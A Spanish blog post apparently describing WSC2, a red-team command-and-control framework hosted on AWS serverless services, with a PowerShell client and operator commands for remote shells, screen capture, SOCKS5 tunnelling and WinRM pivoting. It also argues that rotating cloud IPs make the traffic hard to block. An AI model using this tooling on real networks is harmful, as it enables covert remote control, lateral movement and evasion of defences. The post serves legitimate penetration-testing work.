Image
WSC2 command and control

WSC2 command and control

¡Hola a todos!

En el artículo de hoy vamos a hablar sobre el funcionamiento del Command and Control que hemos presentado en las XIV Jornadas STIC CCN-CERT.

Un Command and Control es un tipo de infraestructura usada para controlar clientes desde un servidor central. Desde este servidor central es posible comunicarse con los distintos clientes para actuar sobre ellos.

Normalmente, se utilizan VPS o servidores dedicados para alojar el servidor central. Sin embargo, esto tiene una serie de inconvenientes:

  • Normalmente no es escalable.
  • Se paga un precio fijo sin importar el uso.
  • Es necesario mantener y monitorizar el servidor.
  • Normalmente el acceso a estos servicios está bloqueado en redes empresariales.
  • Es fácil de bloquear, normalmente se usan una serie de direcciones IPs estáticas.

En cambio, la tecnología serverless soluciona estos problemas:

  • La escalabilidad forma parte de la tecnología.
  • Se paga por uso. Además, en las principales plataformas se ofrecen capas de uso gratuitas.
  • No hace falta mantener ninguna infraestructura (no hay que parchear vulnerabilidades, configurar servicios…).
  • Es difícil de bloquear, dado que la dirección IP del servicio puede rotar por cada petición, por lo que es necesario bloquear todo el rango de direcciones del proveedor para asegurar su bloqueo. Esto no es viable ya que supone el bloqueo del resto de servicios alojados en el mismo proveedor.

En el caso de la herramienta desarrollada se ha hecho uso de la plataforma de Cloud Amazon Web Services (AWS). Se ha utilizado AWS Lambda, que es el servicio serverless de AWS, que permite ejecutar funciones sin necesidad de tener un servidor en ejecución. De esa forma se paga solo por las veces que se ejecuta la función. Para persistir algunos datos como los clientes que están conectados se ha hecho uso de DynamoDB que es un motor de base de datos NoSQL de AWS. Por otra parte se ha utilizado API Gateway para que los clientes puedan conectarse a las funciones Lambda. Como resultado nos queda la siguiente infraestructura:

Funcionamiento del sistema

De esta forma, múltiples clientes y “masters” se conectan mediante Websockets al API Gateway de AWS. Cada vez que se conecta un cliente por el websocket provisto por el API Gateway, se ejecuta una función Lambda llamada $connect. Esta función almacena datos básicos del cliente en la base de datos DynamoDB:

El usuario de tipo administrador o “master” se conecta al sistema mediante un websocket y se sigue el mismo procedimiento de conexión salvo que necesita una contraseña para conectarse con dicho rol.

Los usuarios conectados como master pueden ejecutar algunas acciones como por ejemplo consultar los clientes que están conectados o enviar mensajes a los clientes que haya conectados. Por otro lado, un cliente no se puede comunicar directamente con otro cliente.

Si un master quiere obtener los clientes que hay conectados deberá enviar por el websocket el siguiente comando:

{"action":"getclients"}

Esta petición será enrutada por el API Gateway hacia la función “getclients” de Lambda. La función consultará la base de datos DynamoDB y contesta enviando el listado de clientes que hay conectados al sistema.

Cuando un websocket se desconecta (ya sea un cliente o un “master”) se ejecuta la función $disconnect de Lambda, que retira los datos de DynamoDB.

Por último, existe una función lambda “sendmsg” que permite enviar mensajes entre los diferentes elementos conectados al API Gateway. En concreto, permite la comunicación de los clientes con los master, de los master con los clientes y de cualquier otra cosa que no sea un cliente con un cliente.

Funcionamiento de wsc2

Toda la funcionalidad del sistema recae en wsc2.py. Este script de python permite las siguientes opciones: 

 

  • --deploy (-d): Genera un despliegue en AWS con lo necesario para el funcionamiento del sistema (API Gateway, funciones Lambda, bases de datos DynamoDB y roles y políticas).  Para desplegar el entorno hay que indicar el parámetro --env-name (-n) ya que se pueden desplegar tantos entornos como deseemos y estarán aislados unos de otros. Se crea un archivo de configuración local con los datos del despliegue (url del websocket, nombre del despliegue o entorno, contraseña maestra).
  • --remove (-r): Elimina el despliegue seleccionado de AWS. Destruye todas las instancias de API Gateway, Lambda, etc. Hay que indicar el parámetro --env-bame (-n) 
  • --connect (-c): Se conecta al despliegue seleccionado.
  • --sync (-s): Sincroniza el archivo local de configuración con la cuenta de AWS y obtiene el listado de despliegues activos en AWS. 
  • --list (-l): Lista los diferentes despliegues que existen en el archivo local de configuración.

Crear un despliegue 

Para crear un despliegue, habrá que ejecutar el “master” que se encuentra implementado en wsc2.py. Se le indica la opción --d y el nombre del entorno a desplegar con la opción -n:

Si es la primera vez que se ejecuta wsc2 se pedirá el Access Key ID y el Access Key Secret de la cuenta de AWS donde se desea desplegar. Para generar las claves se puede acceder al siguiente enlace https://console.aws.amazon.com/iam/home?#/security_credentials

Una vez introducidas las credenciales de AWS, se creará toda la infraestructura necesaria para el uso de wsc2.

Se creará un archivo local llamado aws_config.json con la configuración del entorno y de la cuenta de AWS. Este archivo se puede crear o actualizar con el comando --sync (-s).

Conectar con un entorno

Podemos listar los entornos que tenemos en el archivo local de configuración con el comando --list (-l):

El comando lista los entornos que hay desplegados en formato:

nombre (websocket url) | master password

Para conectar con el entorno tan solo será necesario lanzar wsc2.py con la opción --connect (-c) y el nombre del entorno (-n):

Una vez dentro se puede ejecutar el comando “help” para ver los comandos que se pueden ejecutar en wsc2. Las opciones se dividen en dos partes, una primera de comandos propios del sistema y otra parte con comandos de los módulos que están cargados. 

El comando clients lista los clientes que están conectados a wsc2:

Funcionamiento del cliente

El cliente se encuentra implementado en Powershell, por lo que es posible ejecutarlo en cualquier máquina Windows.

Al iniciarse, lo primero que hace el cliente es conectarse al websocket indicado y quedarse a la espera de recibir mensajes del master. Cuando llega un mensaje, el cliente trata de ejecutar el servicio indicado en el mensaje, y de no existir, devuelve al master un código de error. El master es el encargado de que en caso de error se mande una petición al servicio loadModule con el código del servicio a llamar. El cliente cargará el código en memoria y ejecutará el servicio indicado. Hay que recordar que se trata de un websocket cifrado con TLS.

De esta forma, se reduce el tamaño del cliente y su complejidad, ya que tan solo es necesario implementar la conexión mediante websockets y la gestión de módulos. Además, permite añadir funcionalidades al cliente tras ser desplegado.

Conexión de un cliente 

Existe un cliente genérico en el proyecto en clients/client.ps1. Este cliente genérico acepta la opción -Server en la que se le indica la URL de AWS. Por otro lado wsc2 tiene un comando (genclient) que generará un cliente con dicha URL embebida en el cliente de powershell y que tan solo con ejecutar ese fichero se conectará al master. 

Una vez que se lanza el cliente genérico mediante el comando:

.\client.ps1 “wss://XXXXXXX.execute-api.eu-west-3.amazonaws.com/dev” 

Ya estará disponible en la lista de clientes de wsc2:

Módulos

Powershell shell

Módulo que inicia una sesión de shell remota de Powershell con el cliente indicado. El cliente se indica con el nombre. 

ps_shell <cliente> 

Screen capture

Este módulo captura la pantalla del cliente. Para ello hay que ejecutar el comando:

screen_capture <client>

Donde <client> es el nombre del cliente.

Socks5

El módulo socks5 sirve para crear un proxy socks5 a través de los clientes. Para crear un proxy socks5 tan solo habrá que ejecutar lo siguiente:

socks5_create <client> <host> <port> <username> <password>

Donde <client> es el nombre del cliente por donde se va a tunelizar el tráfico TCP que se envíe por el proxy, <host> es el host donde se va a levantar el proxy socks en la máquina del auditor, <port> es el puerto local donde se va a levantar. <username> y <password> son parámetros opcionales. Si no se indican, las credenciales por defecto son “username” y “password”.

Por ejemplo:

socks5_create WINEDGE10 127.0.0.1 1080 user password

Levantaría un proxy socks en 127.0.0.1:1080 que tunelizaría todo el tráfico por el cliente WINEDGE10. El proxy sería autenticado con user:password. Para utilizarlo con proxychains habría que añadir la siguiente linea a /etc/proxychains.conf:

socks5 127.0.0.1 1080 user password

Se pueden crear tantos Proxy socks como se deseen. Para listar los proxies que hay levantados se puede ejecutar el comando socks_list:

Teniendo el proxy socks5, el usuario podría lanzar un ssh a la red interna donde se encuentre uno de los clientes.

Pasando el tráfico desde el equipo donde se encuentra wsc2 a la IP de destino en la red interna:

Podemos eliminar un proxy socks con el comando socks_remove:socks_remove <sock_id>Donde <sock_id> es el ID de socks_list:

También existe el comando socks_remove_all para eliminar todos los proxy socks que se encuentran levantados.

Pivoting

Este módulo permite pivotar hacia otras máquinas de la red en la que se encuentre cualquier cliente. En este caso solo está implementado con WinRM. 

Para pivotar hacia una máquina que sea adyacente a un cliente habrá que ejecutar el siguiente comando:

pivot_winrm <client> <remote_host> <mode>

Hay que indicar el nombre del cliente desde el que se desea pivotar, el host remoto y el modo de pivoting. En el momento de escribir este artículo, el modo tan solo puede ser “direct”. Esto significa que el nuevo cliente que se despliegue en la máquina indicada, se conectará a AWS como un cliente nuevo. Se está implementando la opción “relay” para que el cliente desplegado en la nueva máquina pueda enviar el tráfico a través del cliente que lo ha desplegado, sin necesidad de conectar con AWS directamente, por si la máquina no tiene conexión a internet o para evitar tráfico a internet por si esa máquina está más monitorizada.

¡Muchas gracias y hasta el siguiente post!


Maunel Fernández

Manuel Fernández-Aramburu 

Daniel Sesé Benjumea

Daniel Sesé Benjumea